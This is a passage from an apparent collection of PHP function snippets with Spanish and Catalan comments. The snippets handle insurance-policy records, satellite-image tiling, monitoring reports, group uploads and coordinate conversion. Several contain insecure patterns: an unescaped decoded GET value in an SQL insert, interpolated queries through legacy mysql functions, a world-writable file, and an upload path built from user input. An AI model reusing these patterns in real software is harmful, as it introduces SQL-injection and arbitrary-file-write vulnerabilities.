[\"id_parent\"] = $this->getGroupeNumber ( $fullpathname );\n\t\treturn $this->AddArbreGroupes ( $groupe_data, $full_path );\n\t}", "function agregar_nueva_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $id_ef_sesion, $conexion){\n\t\n\t//VEO SI SE HA HECHO CLICK EN EL BOTON GUARDAR\n\tif(isset($_POST['btnGuardar'])) {\n\t\t\n\t\t\t$id_ef_cia = base64_decode($_GET['id_ef_cia']);\t\n\t\t \n\t\t\t//SEGURIDAD\n\t\t\t$num_poliza = $conexion->real_escape_string($_POST['txtPoliza']);\n\t\t\t$fecha_ini = $conexion->real_escape_string($_POST['txtFechaini']);\n\t\t\t$fecha_fin = $conexion->real_escape_string($_POST['txtFechafin']);\n\t\t\t$producto = $conexion->real_escape_string($_POST['txtProducto']);\n\t\t\t//GENERAMOS EL ID CODIFICADO UNICO\n\t\t\t$id_new_poliza = generar_id_codificado('@S#1$2013');\t\t\t\t\t\n\t\t\t//METEMOS LOS DATOS A LA BASE DE DATOS\n\t\t\t$insert =\"INSERT INTO s_poliza(id_poliza, no_poliza, fecha_ini, fecha_fin, producto, id_ef_cia) \"\n\t\t\t\t .\"VALUES('\".$id_new_poliza.\"', '\".$num_poliza.\"', '\".$fecha_ini.\"', '\".$fecha_fin.\"', '\".$producto.\"', '\".$id_ef_cia.\"')\";\n\t\t\t\n\t\t\t\n\t\t\t//VERIFICAMOS SI HUBO ERROR EN EL INGRESO DEL REGISTRO\n\t\t\tif($conexion->query($insert)===TRUE){\n\t\t\t\t\t\t\t\t\n\t\t\t\t$mensaje=\"Se registro correctamente los datos del formulario\";\n\t\t\t header('Location: index.php?l=des_poliza&var='.$_GET['var'].'&listarpolizas=v&id_ef_cia='.$_GET['id_ef_cia'].'&entidad='.$_GET['entidad'].'&compania='.$_GET['compania'].'&id_ef='.base64_encode($_GET['id_ef']).'&producto_nombre='.$_GET['producto_nombre'].'&producto_code='.$_GET['producto_code'].'&op=1&msg='.base64_encode($mensaje));\n\t\t\t exit;\n\t\t\t} else {\n\t\t\t\t$mensaje=\"Hubo un error al ingresar los datos, consulte con su administrador \".$conexion->errno.\": \".$conexion->error;\n\t\t\t header('Location: index.php?l=des_poliza&var='.$_GET['var'].'&listarpolizas=v&id_ef_cia='.$_GET['id_ef_cia'].'&entidad='.$_GET['entidad'].'&compania='.$_GET['compania'].'&id_ef='.base64_encode($_GET['id_ef']).'&producto_nombre='.$_GET['producto_nombre'].'&producto_code='.$_GET['producto_code'].'&op=2&msg='.base64_encode($mensaje));\n\t\t\t\texit;\n\t\t\t}\n\t\t\n\t}else {\n\t\t//MUESTRO EL FORM PARA CREAR UNA CATEGORIA\n\t\tmostrar_crear_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $id_ef_sesion, $conexion);\n\t}\n}", "public function insertPlanes()\n {\n $atributos=array( $this->asignatura , $this->correlativ , $this->ciclo , $this->fechaplan , $this->uv , $this->acuerdo );\n //descomentarear la l�nea siguiente y comentarear la anterior si la llave primaria no es autoincremental\n //$atributos=array( $this->codigopla , $this->asignatura , $this->correlativ , $this->ciclo , $this->fechaplan , $this->uv , $this->acuerdo );\n\n return $this->conexionPlanes->insertarRegistro($atributos);\n }", "function startProcessing(){\n\t\t$aPuntos = array();\n\t\t//lower left\n\t\t$punto = array($this->convertXFromShpToMapWare($this->shp_data[\"xmin\"]), $this->convertYFromShpToMapWare($this->shp_data[\"ymax\"]) );\n\t\tarray_push($aPuntos, $punto);\n\t\t//lower right\n\t\t$punto = array($this->convertXFromShpToMapWare($this->shp_data[\"xmax\"]), $this->convertYFromShpToMapWare($this->shp_data[\"ymax\"]) );\n\t\tarray_push($aPuntos, $punto);\n\t\t//upper right\n\t\t$punto = array($this->convertXFromShpToMapWare($this->shp_data[\"xmax\"]), $this->convertYFromShpToMapWare($this->shp_data[\"ymin\"]) );\n\t\tarray_push($aPuntos, $punto);\n\t\t//upper left\n\t\t$punto = array($this->convertXFromShpToMapWare($this->shp_data[\"xmin\"]), $this->convertYFromShpToMapWare($this->shp_data[\"ymin\"]) );\n\t\tarray_push($aPuntos, $punto);\n\t\t\n\t\t//cargar laimagen\n\t\t$imagePath = SATELITE_RESOURCES.$this->resources[\"folder\"].\"/\".$this->resources[\"imagename\"].\".jpg\";\n\t\t$image_original = imagecreatefromjpeg($imagePath) or die(\"no image defined\");\n\t\t//definir los niveles en los cuales se va a generar esta imagen de satelite\n\t\t$nivelInicial = ($this->resources[\"hd\"] == 1) ? 7 : 1;\n\t\t$nivelFinal = ($this->resources[\"hd\"] == 1) ? 14 : 9;\n\t\t//loop sobre los niveles\n\t\tfor($nivel=$nivelInicial; $nivel<=$nivelFinal; $nivel++){\n\t\t\t//actualizar datos globales por nivel\n\t\t\t$this->actualizarEscalaPorNivel($nivel);\n\t\t\t//\n\t\t\t$upperLeft = $this->getCuadroFromPoint($aPuntos[0][0], $aPuntos[0][1]);\n\t\t\t$lowerRight = $this->getCuadroFromPoint($aPuntos[2][0], $aPuntos[2][1]);\n\t\t\t//\n\t\t\t//info imagen sat\n\t\t\t$info = getimagesize($imagePath);\n\t\t\t//width en latitud y longitud de la imagen de satelite\n\t\t\t$satWidth = $aPuntos[1][0] - $aPuntos[0][0];\n\t\t\t$satHeight = $aPuntos[2][1] - $aPuntos[1][1];\n\t\t\t//width y height que debe tener la imagen de satelite en pixeles\n\t\t\t$pixelWidthSat = $satWidth / $this->escala;\n\t\t\t$pixelHeightSat = $satHeight / $this->escala;\n\t\t\t//escala correspondiente entre el pixelaje que debe tener y el real de la imagen de satelite\n\t\t\t$escalaImagenSatelite = $info[0] / $pixelWidthSat;\n\t\t\t//copio la imagen al tamaño que le corresponde en este nivel para evitar desfaces\n\t\t\t$image = imagecreatetruecolor(round($info[0]/$escalaImagenSatelite), round($info[1]/$escalaImagenSatelite)) or die(\"no se pudo crear la imagen para empezar\");\n\t\t\timagecopyresampled($image, $image_original, 0, 0, 0, 0, round($info[0]/$escalaImagenSatelite), round($info[1]/$escalaImagenSatelite), $info[0], $info[1]) or die(\"no se pudo generar copia a nivel\");\n\t\t\t//\n\t\t\techo \"************************Nivel\".$nivel.\"<br />\";\n\t\t\t//Si la imagen es de hd entonces se crea un padding (bufferSize) alrededor con imagen de satelite de bajar resolucion\n\t\t\t$bufferSize = ($this->resources[\"hd\"] == 1 && $nivel >= 10) ? 4 : 0;\n\t\t\t//creamos y guardamos las imagenes en la base de datos\n\t\t\t$this->crearGuardarImagenes($upperLeft, $lowerRight, $nivel, $this->resources[\"clave\"], \"satelite_originales\", $bufferSize, \"satelite\");\n\t\t\t//para todos los cuadros que toca la imagen de satelite\n\t\t\tfor($i=$upperLeft[0] - $bufferSize; $i<=$lowerRight[0] + $bufferSize; $i++){\n\t\t\t\tfor($j=$upperLeft[1] - $bufferSize; $j<=$lowerRight[1] + $bufferSize; $j++){\n\t\t\t\t\t//cuadro\n\t\t\t\t\t$square = array($i, $j);\n\t\t\t\t\t//ver si ya existe una imagen en estas coordenadas\n\t\t\t\t\t$query = \"select * from imagenes\n\t\t\t\t\twhere satelite_exists != '0' and i = '$i' and j = '$j' and nivel = '$nivel'\";\n\t\t\t\t\t$exists = mysql_query($query) or die($query);\n\t\t\t\t\t//crear nueva imagen\n\t\t\t\t\tif( mysql_num_rows($exists) != 0 ){\n\t\t\t\t\t\t//en caso de que ya existiera antes una imagen de satelite asociada\n\t\t\t\t\t\t$newImage = imagecreatefromjpeg(IMAGE_MAPWARE_URL.\"?clave=\".$i.\"_\".$j.\"_\".$nivel);\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$newImage = imagecreatetruecolor(200, 200);\n\t\t\t\t\t\t//de ser hd copiar sobre una imagen de lowDef ampliada\n\t\t\t\t\t\tif($this->resources[\"hd\"] == 1){\n\t\t\t\t\t\t\t// copiamos la imagen de sat de baja resolucion en esta imagen para que forme parte del buffer\n\t\t\t\t\t\t\t// puede que sea cubierta por la imagen de hd en donde esta se encuentre\n\t\t\t\t\t\t\t$lowDef_i = ceil( ($i+1)/pow(2, $nivel-8) ) - 1;\n\t\t\t\t\t\t\t$lowDef_j = ceil( ($j+1)/pow(2, $nivel-8) ) - 1;\n\t\t\t\t\t\t\t$query = \"select \n\t\t\t\t\t\t\tX(POINTN( EXTERIORRING( ENVELOPE( mysql_puntos ) ) , 1 ) ) as xmin, \n\t\t\t\t\t\t\tY(POINTN( EXTERIORRING( ENVELOPE( mysql_puntos ) ) , 1 ) ) as ymin \n\t\t\t\t\t\t\tfrom imagenes where i = $lowDef_i and j = $lowDef_j and nivel = 8\";\n\t\t\t\t\t\t\t$lowDef = mysql_fetch_array(mysql_query($query)) or die($query);\n\t\t\t\t\t\t\t//que tantas veces es mas grande la newImage que la de baja resolucion que se va a sacar\n\t\t\t\t\t\t\t$escala_ld = pow(2, $nivel-8);\t\n\t\t\t\t\t\t\t//sacar la imagen que se va a usar\n\t\t\t\t\t\t\t$image_ld = imagecreatefromjpeg(IMAGE_MAPWARE_URL.\"?clave=\".$lowDef_i.\"_\".$lowDef_j.\"_8\");\n\t\t\t\t\t\t\tif($image_ld != false){\n\t\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\t\t$destX_ld = ($lowDef[\"xmin\"] - $this->xmin - $square[0]*$this->squareSize*$this->escala) / $this->escala;\n\t\t\t\t\t\t\t\t$destY_ld = ($lowDef[\"ymin\"] - $this->ymin - $square[1]*$this->squareSize*$this->escala) / $this->escala;\n\t\t\t\t\t\t\t\t//\t\t\t\n\t\t\t\t\t\t\t\t$sourceX_ld = -1*$destX_ld;\n\t\t\t\t\t\t\t\t$sourceY_ld = -1*$destY_ld;\n\t\t\t\t\t\t\t\timagecopyresampled($newImage, $image_ld, 0, 0, round($sourceX_ld/$escala_ld), round($sourceY_ld/$escala_ld), 200, 200, round(200/$escala_ld), round(200/$escala_ld)) or die(\"no copy resampled\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t//\n\t\t\t\t\t//\n\t\t\t\t\t//lugar que representa la esquina superior izqierda de la imagen de satelite dentro del cuadro, igual que en generar imagenes simplemente referenciamos una coordenada de latitud, longitud a la imagen de 200 px a dibujar\n\t\t\t\t\t$destX = $aPuntos[0][0] - ($this->xmin + $square[0]*$this->squareSize*$this->escala);\n\t\t\t\t\t$destX = round($destX/$this->escala);\n\t\t\t\t\t$destY = $aPuntos[0][1] - ($this->ymin + $square[1]*$this->squareSize*$this->escala);\n\t\t\t\t\t$destY = round($destY/$this->escala);\n\t\t\t\t\t//\n\t\t\t\t\t//sourceX y sourceY representan la esquina superior izquierda correspondiente a la imagen a \n\t\t\t\t\t//dibujar dentro de la imagen de satelite completa\n\t\t\t\t\t$sourceX = round(-1*$destX);\n\t\t\t\t\t$sourceY = round(-1*$destY);\n\t\t\t\t\tif($destX > 0){\n\t\t\t\t\t\t//ver cuanto hay que copiar, solo lo suficiente para llenar la imagen newImage\n\t\t\t\t\t\t//como sourceX es negativo ya que destX positivo\n\t\t\t\t\t\t$Width = min(round(210 + $sourceX), round($info[0]/$escalaImagenSatelite));\n\t\t\t\t\t\t//\n\t\t\t\t\t\tif($destY > 0){\n\t\t\t\t\t\t\t$Height = min(round(210 + $sourceY), round($info[1]/$escalaImagenSatelite));\n\t\t\t\t\t\t\t//copiar el pedazo de imagen correspondiente\n\t\t\t\t\t\t\timagecopy($newImage, $image, $destX, $destY, 0, 0, $Width, $Height) or die(\"no image copy\");\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$Height= min(210, round($info[1]/$escalaImagenSatelite- $sourceY));\n\t\t\t\t\t\t\t//copiar el pedazo de imagen correspondiente\n\t\t\t\t\t\t\timagecopy($newImage, $image, $destX, 0, 0, $sourceY, $Width, $Height) or die(\"no image copy\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//ver cuanto hay que coipar, solo lo suficiente para llenar la imagen newImage no mas\n\t\t\t\t\t\t$Width = min(210, round($info[0]/$escalaImagenSatelite - $sourceX));\n\t\t\t\t\t\t//\n\t\t\t\t\t\tif($destY > 0){\n\t\t\t\t\t\t\t$Height = min(round(210 + $sourceY), round($info[1]/$escalaImagenSatelite));\n\t\t\t\t\t\t\t//copiar el pedazo correspondiente\n\t\t\t\t\t\t\timagecopy($newImage, $image, 0, $destY, $sourceX, 0, $Width, $Height) or die(\"no image copy\");\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$Height= min(210, round($info[1]/$escalaImagenSatelite- $sourceY));\n\t\t\t\t\t\t\t//copiar el pedazo correspondiente\n\t\t\t\t\t\t\timagecopy($newImage, $image, 0, 0, $sourceX, $sourceY, $Width, $Height) or die(\"no image copy\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t//set compression level = 3\n\t\t\t\t\t$archivo = \"temporales/satelite_temporal.jpg\";\n\t\t\t\t\timagejpeg($newImage, $archivo, 90);\n\t\t\t\t\tchmod($archivo, 0777);\n\t\t\t\t\t//tomar la informacion del archivo e ingresarla a la base de datos\n\t\t\t\t\t$file = mysql_real_escape_string(file_get_contents($archivo));\n\t\t\t\t\t//guardar en base de datos que la imagen ya fue dibujada\n\t\t\t\t\t$query = \"UPDATE `imagenes`\n\t\t\t\t\tSET `satelite` = '$file', `satelite_exists` = '1'\n\t\t\t\t\tWHERE `i` = '\".$i.\"' and `j` = '\".$j.\"' \n\t\t\t\t\tand `nivel` = '\".$nivel.\"'\";\n\t\t\t\t\tmysql_query($query) or die($query);\n\t\t\t\t}\n\t\t\t}\n\t\t}//cierre del for de niveles\n\t\t//\n\t\t//actualizar el campo de generado para no volver a usar esta imagen\n\t\t$query = \"update satelite_originales set generada = 1 where clave = '\".$this->resources[\"clave\"].\"'\";\n\t\tmysql_query($query) or die($query);\n\t}", "function crear_relato(){\r\n $this->load->database();\r\n\r\n $datos_insertar = $this->input->post();\r\n unset($datos_insertar['bt_enviar']); //le quitamos el boton enviar, pues no lo necesitamos para el insert de\r\n\r\n //print_r($datos_insertar);\r\n $this->db->insert('relatos',$datos_insertar);\r\n\r\n //insertamos el relato en nuestra BD\r\n $id_relato = $this->db->insert_id();\r\n\r\n //tras crear el relato, insertamos el primer capitulo, pues todos los relatos constarán de al menos un capitulo\r\n $datos_primer_capitulo = array(\r\n \"numRelato\" => $id_relato,\r\n \"texto\" => 'CAPÍTULO 1:'\r\n );\r\n\r\n //print_r($datos_primer_capitulo);\r\n $this->db->insert('capitulos',$datos_primer_capitulo);\r\n\r\n return $id_relato;\r\n }", "function getEstadisticaDetallado() {\n\t\tglobal $mdb2;\n\t\tglobal $log;\n\t\tglobal $current_usuario_id;\n\t\tglobal $usr;\n\n\t\t# Variables para eventos especiales marcados por el cliente codigo 9.\n\t\t$event = new Event;\n\t\t$usr = new Usuario($current_usuario_id);\n\t\t$usr->__Usuario();\n\t\t$graficoSvg = new GraficoSVG();\n\n\n\t\t$timeZoneId = $usr->zona_horaria_id;\n\t\t$arrTime = Utiles::getNameZoneHor($timeZoneId); \t\t\n\t\t$timeZone = $arrTime[$timeZoneId];\n\t\t$tieneEvento = 'false';\n\t\t$arrayDateStart = array();\t\t\n\t\t$nameFunction = 'EstadisticaDet';\n\t\t$data = null;\n\t\t$ids = null;\n\n\t\t/* TEMPLATE DEL GRAFICO */\n\t\t$T =& new Template_PHPLIB(($this->extra[\"imprimir\"])?REP_PATH_PRINTTEMPLATES:REP_PATH_TABLETEMPLATES);\n\t\t$T->setFile('tpl_tabla', 'comparativo_resumen.tpl');\n\t\t$T->setBlock('tpl_tabla', 'BLOQUE_TITULO_HORARIOS', 'bloque_titulo_horarios');\n\t\t$T->setBlock('tpl_tabla', 'ES_PRIMERO_MONITOR', 'es_primero_monitor');\n\t\t$T->setBlock('tpl_tabla', 'ES_PRIMERO_TOTAL', 'es_primero_total');\n\t\t$T->setBlock('tpl_tabla', 'LISTA_PASOS', 'lista_pasos');\n\t\t$T->setBlock('tpl_tabla', 'BLOQUE_TABLA', 'bloque_tabla');\n\n\t\t$T->setVar('__item_orden', $this->extra[\"item_orden\"]);\n\t\t# Variables para mantenimiento.\n\t\t$T->setVar('__path_jquery_ui', REP_PATH_JQUERY_UI);\n\t\n\t\t$horarios = array($usr->getHorario($this->horario_id));\n\t\tif ($this->horario_id != 0) {\n\t\t\t$horarios[] = $usr->getHorario(0);\n\t\t}\n\n\t\t$orden = 1;\n\t\t$T->setVar('bloque_titulo_horarios', '');\n\t\tforeach ($horarios as $horario) {\n\n\t\t\t/* OBTENER LOS DATOS Y PARSEARLO */\n\t\t\t$sql = \"SELECT * FROM reporte.comparativo_resumen_parcial(\".\n\t\t\t\t\tpg_escape_string($current_usuario_id).\",\".\n\t\t\t\t\tpg_escape_string($this->objetivo_id).\", \".\n\t\t\t\t\tpg_escape_string($horario->horario_id).\",' \".\n\t\t\t\t\tpg_escape_string($this->timestamp->getInicioPeriodo()).\"', '\".\n\t\t\t\t\tpg_escape_string($this->timestamp->getTerminoPeriodo()).\"')\";\n\t\t\t$res =& $mdb2->query($sql);\n// \t\t\tprint($sql);\n\t\t\tif (MDB2::isError($res)) {\n\t\t\t\t$log->setError($sql, $res->userinfo);\n\t\t\t\texit();\n\t\t\t}\n\n\t\t\t$row = $res->fetchRow();\n\t\t\t$dom = new DomDocument();\n\t\t\t$dom->preserveWhiteSpace = false;\n\t\t\t$dom->loadXML($row[\"comparativo_resumen_parcial\"]);\n\t\t\t$xpath = new DOMXpath($dom);\n\t\t\tunset($row[\"comparativo_resumen_parcial\"]);\n\n\t\t\tif ($xpath->query('//detalle[@paso_orden]/estadisticas/estadistica')->length == 0) {\n\t\t\t\t$this->resultado = $this->__generarContenedorSinDatos();\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t$conf_objetivo = $xpath->query('/atentus/resultados/propiedades/objetivos/objetivo')->item(0);\n\t\t\t$conf_pasos = $xpath->query(\"paso[@visible=1]\", $conf_objetivo);\n\t\t\t$conf_nodos = $xpath->query('//nodos/nodo');\n\n\t\t\tif(count($horarios) > 1) {\n\t\t\t\t$T->setVar('__item_horario', $this->extra[\"item_orden\"]);\n\t\t\t\t$T->setVar('__horario_orden', $orden);\n\t\t\t\t$T->setVar('__horario_nombre',$horario->nombre);\n\t\t\t\t$T->parse('bloque_titulo_horarios', 'BLOQUE_TITULO_HORARIOS', false);\n\t\t\t}\n\n\t\t\t\n\t\t\t# Obtención de los eventos especiales marcados por el cliente\n\t\t\tforeach ($xpath->query(\"/atentus/resultados/detalles_marcado/detalle/marcado\") as $tag_marcado) {\n\t\t\t$ids = $ids.','.$tag_marcado->getAttribute('mantenimiento_id');\n\t\t\t$marcado = true;\n\t\t\t}\t\t\n\t\t\t\n\t\t\t# Verifica que exista marcado evento cliente.\n\t\t\tif ($marcado == true) {\n\n\t\t\t\t$dataMant = $event->getData(substr($ids, 1), $timeZone);\n\t\t\t\t$character = array(\"{\", \"}\");\n\t\t\t\t$objetives = explode(',',str_replace($character,\"\",($dataMant[0]['objetivo_id'])));\n\t\t\t\t$tieneEvento = 'true';\n\t\t\t\t$encode = json_encode($dataMant);\n\t\t\t\t$nodoId = (string)0;\n\t\t\t\t$T->setVar('__tiene_evento', $tieneEvento);\n\t\t\t\t$T->setVar('__name', $nameFunction);\n\n\t\t\t}\n\n\t\t\t/* LISTA DE MONITORES */\n\t\t\t$linea = 1;\n\t\t\t$T->setVar('lista_pasos', '');\n\t\t\tforeach($conf_nodos as $conf_nodo) {\n\t\t\t\t$primero = true;\n\t\t\t\t$tag_nodo = $xpath->query('//detalle[@nodo_id='.$conf_nodo->getAttribute('nodo_id').']/estadisticas/estadistica')->item(0);\n\n\t\t\t\t/* LISTA DE PASOS */\n\t\t\t\tforeach($conf_pasos as $conf_paso) {\n\t\t\t\t\t$tag_dato = $xpath->query('//detalle[@nodo_id='.$conf_nodo->getAttribute('nodo_id').']/detalles/detalle[@paso_orden='.$conf_paso->getAttribute('paso_orden').']/estadisticas/estadistica')->item(0);\n\t\t\t\t\tif($tag_dato != null) {\n\t\t\t\t\t\t$T->setVar('__print_class', ($linea % 2 == 0)?\"celdaIteracion2\":\"celdaIteracion1\");\n\t\t\t\t\t\t$T->setVar('__class', ($linea % 2 == 0)?\"celdanegra15\":\"celdanegra10\");\n\n\t\t\t\t\t\t$T->setVar('es_primero_monitor', '');\n\t\t\t\t\t\t$T->setVar('es_primero_total', '');\n\t\t\t\t\t\tif ($primero) {\n\t\t\t\t\t\t\t$T->setVar('__monitor_nombre', $conf_nodo->getAttribute('nombre'));\n\t\t\t\t\t\t\t$T->setVar('__monitor_rowspan', $conf_pasos->length);\n\t\t\t\t\t\t\t$T->setVar('__monitor_total_monitoreo', $tag_nodo->getAttribute('cantidad'));\n\t\t\t\t\t\t\t$T->parse('es_primero_monitor', 'ES_PRIMERO_MONITOR', false);\n\t\t\t\t\t\t\t$T->parse('es_primero_total', 'ES_PRIMERO_TOTAL', false);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$T->setVar('__paso_nombre', $conf_paso->getAttribute(\"nombre\"));\n\t\t\t\t\t\t$T->setVar('__paso_minimo', number_format($tag_dato->getAttribute('tiempo_min'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_maximo', number_format($tag_dato->getAttribute('tiempo_max'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_promedio', number_format($tag_dato->getAttribute('tiempo_prom'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_uptime', number_format($tag_dato->getAttribute('uptime'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_downtime', number_format($tag_dato->getAttribute('downtime'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_no_monitoreo', number_format($tag_dato->getAttribute('sin_monitoreo'), 3, ',', ''));\n\t\t\t\t\t\t$T->setVar('__paso_evento_especial', number_format($tag_dato->getAttribute('marcado_cliente'), 3, ',', ''));\n\n\t\t\t\t\t\t$T->parse('lista_pasos', 'LISTA_PASOS', true);\n\t\t\t\t\t\t$primero = false;\n\t\t\t\t\t\t$linea++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$T->parse('bloque_tabla', 'BLOQUE_TABLA', true);\n\t\t\t$orden++;\n\t\t}\n\t\t$this->tiempo_expiracion = (strtotime($xpath->query(\"//fecha_expiracion\")->item(0)->nodeValue) - strtotime($xpath->query(\"//fecha\")->item(0)->nodeValue));\n\t\t$this->resultado = $T->parse('out', 'tpl_tabla');\n\n\t\t# Agrega el acordeon cuando existan eventos.\n\t\tif (count($dataMant)>0){\n\t\t\t$this->resultado.= $graficoSvg->getAccordion($encode,$nameFunction);\n\t\t}\n\t\treturn $this->resultado;\n\t}", "function insertGrupo($entrada) {\n $usuario = trim(filter_var($entrada, FILTER_SANITIZE_STRING));\n $nombreGrupo = trim(filter_var($_POST['nombreGrupo'], FILTER_SANITIZE_STRING));\n $descripcionGrupo = trim(filter_var($_POST['textoDescripcion'], FILTER_SANITIZE_STRING));\n $categoria = trim(filter_var($_POST['selectCategoria'], FILTER_SANITIZE_STRING));\n\n $ruta = \"images/grupos/$nombreGrupo\" . '.jpeg';\n move_uploaded_file($_FILES['imagen']['tmp_name'], $ruta);\n\n crearGrupo($nombreGrupo, $descripcionGrupo, $ruta);\n crearGrupoCategori($nombreGrupo, $categoria);\n crearUsuarioGrupo($nombreGrupo, $usuario);\n}", "function guifi_units2units ( $coords, $lon, $lat, $type=0 ) {\n // Trobem els tres punts més propers i vàlids per fer la triangulació.\n $p = guifi_trobaPuntsMesPropers( $coords, $lon, $lat, $type );\n \n // Si el punt equival a un dels tres se salta el càlcul.\n for ( $i = 0 ; $i < 3 ; $i++) \n if ( $p[$i][2] == $lon && $p[$i][3] == $lat ) return array( $p[$i][0], $p[$i][1] );\n \n // Calculem els angles en píxels dels tres punts respecte el més proper\n for ( $i = 0 ; $i < 3 ; $i++) \n $angleC[($i+2)%3] = atan2( ($p[($i+1)%3][3] - $p[$i][3]) , ($p[($i+1)%3][2] - $p[$i][2]) );\n \n // Calcular l'angle en píxels del punt a trobar.\n $angleCX = atan2( ($lat - $p[0][3]) , ($lon - $p[0][2]) );\n \n // Trobar el punt origen on la recta passi pel mig del triangle\n for ( $i=0 ; $i<3 ; $i++)\n $sinCX[$i] = abs(sin( $angleCX - $angleC[$i] )); // Angle més proper\n for ( $i=0 ; $i<3 ; $i++)\n if ( $sinCX[$i] < $sinCX[($i+2)%3] && $sinCX[$i] < $sinCX[($i+1)%3] )\n $puntRef = $i;\n \n for ( $i=0 ; $i<2 ; $i++) { // Mirar quin dels altres dos punts ha de ser l'origen\n $distPRX[$i] = $p[$puntRef][2] - $p[($puntRef+1+$i)%3][2];\n $distPRY[$i] = $p[$puntRef][3] - $p[($puntRef+1+$i)%3][3];\n $distPR[$i] = sqrt( $distPRX[$i]*$distPRX[$i] + $distPRY[$i]*$distPRY[$i] );\n $sinPR[$i] = $distPR[$i] * abs( sin( $angleC[($puntRef+2-$i)%3] - $angleCX ) );\n }\n \n if ( $sinPR[0] < $sinPR[1] ) $origen = ($puntRef+1)%3;\n else $origen = ($puntRef+2)%3;\n \n \n // Trobar la intersecció de la recta dels punts que no pasen per l'orígen\n // amb la recta paral·lela en el mateix sentit la projecció del punt que passa per l'orígen\n $x0 = $p[($origen+1)%3][2]; // Recta delimitada pels altres 2 punts diferents de l'orígen\n $y0 = $p[($origen+1)%3][3];\n $v0 = $p[($origen+2)%3][2] - $p[($origen+1)%3][2];\n $w0 = $p[($origen+2)%3][3] - $p[($origen+1)%3][3];\n \n $x1 = $p[$origen][2]; // Recta des de l'orígen en direcció al punt\n $y1 = $p[$origen][3];\n $v1 = $lon - $p[0][2];\n $w1 = $lat - $p[0][3];\n \n $lambda = ( ($y0-$y1)*$v1 - ($x0-$x1)*$w1 ) / ( $v0*$w1 - $w0*$v1 ); // El valor proporcional de la recta\n \n $xC = $x0 + $lambda * $v0; $yC = $y0 + $lambda * $w0; // El punt intersecció\n \n // Trobem el punt equivalent en pixels. $lamba és la proporció.\n $xP = $p[($origen+1)%3][0] + $lambda * ( $p[($origen+2)%3][0] - $p[($origen+1)%3][0] );\n $yP = $p[($origen+1)%3][1] + $lambda * ( $p[($origen+2)%3][1] - $p[($origen+1)%3][1] );\n \n // Trobem l'angle i la distància equivalent en les unitats de destí\n $distC0X = sqrt( ($lon - $p[0][2])*($lon - $p[0][2]) + ($lat - $p[0][3])*($lat - $p[0][3]));\n $distCY = $yC-$p[$origen][3]; $distCX = $xC-$p[$origen][2];\n $distPY = $yP-$p[$origen][1]; $distPX = $xP-$p[$origen][0];\n $distCO = sqrt( $distCX*$distCX + $distCY*$distCY);\n $distPO = sqrt( $distPX*$distPX + $distPY*$distPY);\n \n $anglePX = atan2( $distPY , $distPX );\n if ( cos($angleCX - atan2( $distCY , $distCX )) < 0.98 ) $anglePX += M_PI;\n $distPX = $distC0X * ($distPO / $distCO);\n \n // Calculem el punt buscat en píxels.\n $xReal = ( cos($anglePX) * $distPX ) + $p[0][0];\n $yReal = ( sin($anglePX) * $distPX ) + $p[0][1];\n \n /* \n $longitud = \"angleC(2): \".$angleC[2]*180/M_PI.\"<br />\";\n $longitud .= \"angleC(1): \".$angleC[1]*180/M_PI.\"<br />\";\n $longitud .= \"angleC(0): \".$angleC[0]*180/M_PI.\"<br />\";\n $longitud .= \"angleCX: \".$angleCX*180/M_PI.\"<br />\";\n $longitud .= \"sinCX: \".$sinCX[0].\",\".$sinCX[1].\",\".$sinCX[2].\"<br />\";\n $longitud .= \"sinPR: \".$sinPR[0].\",\".$sinPR[1].\"<br />\";\n $longitud .= \"puntRef: \".$puntRef.\"<br />\";\n $longitud .= \"origen: \".$origen.\"<br />\";\n $longitud .= \"R(x): (\".$x0.\",\".$y0.\"|\".$v0.\",\".$w0.\")<br />\";\n $longitud .= \"R(0): (\".$x1.\",\".$y1.\"|\".$v1.\",\".$w1.\")<br />\";\n $longitud .= \"P(x): (\".$xP.\",\".$yP.\"|\".$xC.\",\".$yC.\")<br />\";\n $longitud .= \"lambda: \".$lambda.\"<br />\";\n $longitud .= \"anglePX: \".$anglePX*180/M_PI.\"<br />\";\n $longitud .= \"proporció: \".($distPO / $distCO).\"<br />\";\n \n $latitud = \"\";\n $result = \"(\".$xReal.\", \".$yReal.\")<br />\";\n \n global $wgOut;\n $wgOut->addHTML($longitud . \"<br />\" . $latitud . \"<br />\" . $result);\n */\n \n return array( $xReal, $yReal );\n}", "function get_coor( ) {\n\t\tif ($i = strpos($this->pieces[0],';')) {\n\t\t\t/* two values seperated by a semicolon */\n\t\t\t$this->coor = array(\n\t\t\t\t$this->latdeg = substr($this->pieces[0],0,$i),\n\t\t\t\t$this->londeg = substr($this->pieces[0],$i+1));\n\t\t\tarray_shift($this->pieces);\n\t\t\t$latNS = 'N';\n\t\t\t$lonEW = 'E';\n\t\t\t$latmin = $lonmin = $latsec = $lonsec = 0;\n\t\t} elseif ($this->is_coor($this->pieces[1],$this->pieces[3])) {\n\t\t\t$this->coor = array(\n\t\t\t\t$this->latdeg = array_shift($this->pieces),\n\t\t\t\t$latNS = array_shift($this->pieces),\n\t\t\t\t$this->londeg = array_shift($this->pieces),\n\t\t\t\t$lonEW = array_shift($this->pieces));\n\t\t\t$latmin = $lonmin = $latsec = $lonsec = 0;\n\t\t} elseif ($this->is_coor($this->pieces[2],$this->pieces[5])) {\n\t\t\t$this->coor = array(\n\t\t\t\t$this->latdeg = array_shift($this->pieces),\n\t\t\t\t$latmin = array_shift($this->pieces),\n\t\t\t\t$latNS = 